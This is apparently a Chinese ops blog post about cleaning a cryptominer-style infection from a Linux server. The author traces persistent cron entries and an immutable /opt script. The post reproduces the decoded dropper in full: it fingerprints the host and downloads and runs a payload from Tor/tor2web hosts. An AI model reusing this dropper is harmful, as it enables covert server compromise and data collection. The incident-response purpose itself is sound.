一、背景介绍
说明:钉钉收到磁盘告警信息,打算登录服务器清理磁盘空间,但是发现通过xshell无法登录,也尝试了阿里云的VNC,也不行。经阿里云工程师排查oom内存不足导致,需要重启服务器,重启服务器后我们扩充了内存,从原来的32G变成64G,按道理内存应该是够了,但是过一段时间看监控发现内存和cpu被占用得很厉害。使用top发现,有个比较奇怪的进程,进程id为14587,对比了一下其他几台服务器都没有这个进程,根据以往经验应该是服务器中病毒了。
如下图所示:
二、故障分析
1、根据进程id,查看进程名,经了解这个进程不是我们业务系统服务的进程id,于是杀掉进程(kill -9 进程id) 2、根据以往经验,像这种未知进程名一般都是有配置定时任务,于是查看定时任务列表(crontab -l),果不其然发现了一个未知定时任务,如下所示:
[root@host-10-10-18-111 ~]
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
3、先不要盲目删除定时任务和未知文件,先看下文件.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh内容,如下图所示: 4、看到上面内容相信大部分都不懂是什么,看到文件内容末尾,这是一个通过base64编码的文件,通过Base64 在线编码解码器对上面文件进行解码,解码后内容如下:
wymVFl04WHFDQfJFg81fvBhVSxhWn4HB
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wacpnnso4ottxlyvjp2adaieaivxx2saxoymednidp3zyfoqfc5jpqad")
sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
5、解码后文件出现了一些域名,如下所示:
checkip.amazonaws.com doh.this.web.id doh.post-factum.tk
dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn
dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org
resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch
三、故障处理
说明:根据上述分析,处理步骤如下:
1、杀掉进程
[root@host-10-10-18-111 ~]
2、删除定时任务
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
3、删除未知文件
[root@host-10-10-18-111 ~]
注意:一般按照上面操作应该是没有什么问题,甚至我连cron服务都关闭了,但是很奇怪过了一个小时定时任务又被创建,未知进程又被拉起了,无奈只能继续排查。根据经验感觉可能还有一些定时任务。
4、进入/etc/cron.d目录,又发现一个未知定时任务,继续上面的操作,杀进程、删除定时任务、未知文件
[root@host-10-10-18-111 ~]
0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n
[root@host-10-10-18-111 ~]
21 * * * * root /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh > /dev/null 2>&1 &
[root@host-10-10-18-111 ~]
[root@host-10-10-18-111 ~]
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
[root@host-10-10-18-111 ~]
[root@host-10-10-18-111 ~]
注意:按照上面的处理方法,按道理应该是没有问题了,但是过一段时间后又出现了,未知进程又被拉起。感觉可能是自己遗漏了定时任务的某个配置文件,仔细排查了cron服务的所有配置文件,发现/etc/crontab配置文件有未知内容,如下所示:
5、查看/etc/crontab配置文件,发现未知内容,删除其内容,删除后观察一段时间 注意:上述操作完之后观察一段时间,发现定时任务又存在了,啥也不说了,真的很神奇!按照上面的操作又来了一遍,进入/opt目录时突然发现了一个我不熟悉的脚本。
[root@host-10-10-18-111 ~]
44 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
6、进入/opt目录时发现了一个未知脚本,查看脚本内容如下,然后删除文件,发现删除不了,应该是加了i权限,删除i权限后,将文件成功删除。 删除unixdb.sh文件操作如下:
[root@host-10-10-18-111 ~]
rm: 无法删除"unixdb.sh": 不允许的操作
[root@host-10-10-18-111 ~]
----i--------e-- unixdb.sh
[root@host-10-10-18-111 ~]
[root@host-10-10-18-111 ~]
三、故障总结
总结:整理不易,如果对你有帮助,可否点赞关注一下?
更多详细内容请参考:Linux运维实战总结
|